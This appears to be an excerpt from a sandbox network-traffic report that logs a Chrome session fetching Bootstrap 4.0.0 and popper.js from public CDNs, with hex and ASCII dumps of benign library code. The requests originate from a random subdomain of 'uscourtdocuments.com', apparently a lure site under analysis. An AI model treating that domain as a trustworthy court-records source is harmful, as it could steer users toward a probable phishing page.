2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49858	104.18.10.207	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:07 UTC	701	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jdjdhjh.uscourtdocuments.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:08 UTC	964	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 57b9eacb2ebfd68fc239b68f29ff4018 CDN-Cache: HIT CF-Cache-Status: HIT Age: 7916 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ef54a71e8267cfa-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:20:08 UTC	405	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bef/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 Data Ascii: e(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineP
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d Data Ascii: nction(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElem
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 Data Ascii: =o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destr
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 Data Ascii: (s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.s
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 Data Ascii: useenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-p
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 Data Ascii: ,this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 Data Ascii: /input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 Data Ascii: d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).remov
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 Data Ascii: TA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49869	104.17.25.14	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:09 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:10 UTC	956	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:10 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 700432 Expires: Sat, 29 Nov 2025 13:20:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=seCWJ6c1jPcPhkvmTdXtZT81rrPo%2FSFEYpiZK6JWXiX73LK6wNGLe7Ysln2yYf4qy07KBqBKH5A28QUHSN9ZBN%2FaA8wSjFBRcMaOKbOguECumw8xh0liwB3VbrWcYad9pKILjqp4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef54a7f0b50176c-EWR alt-svc: h3=":443"; ma=86400
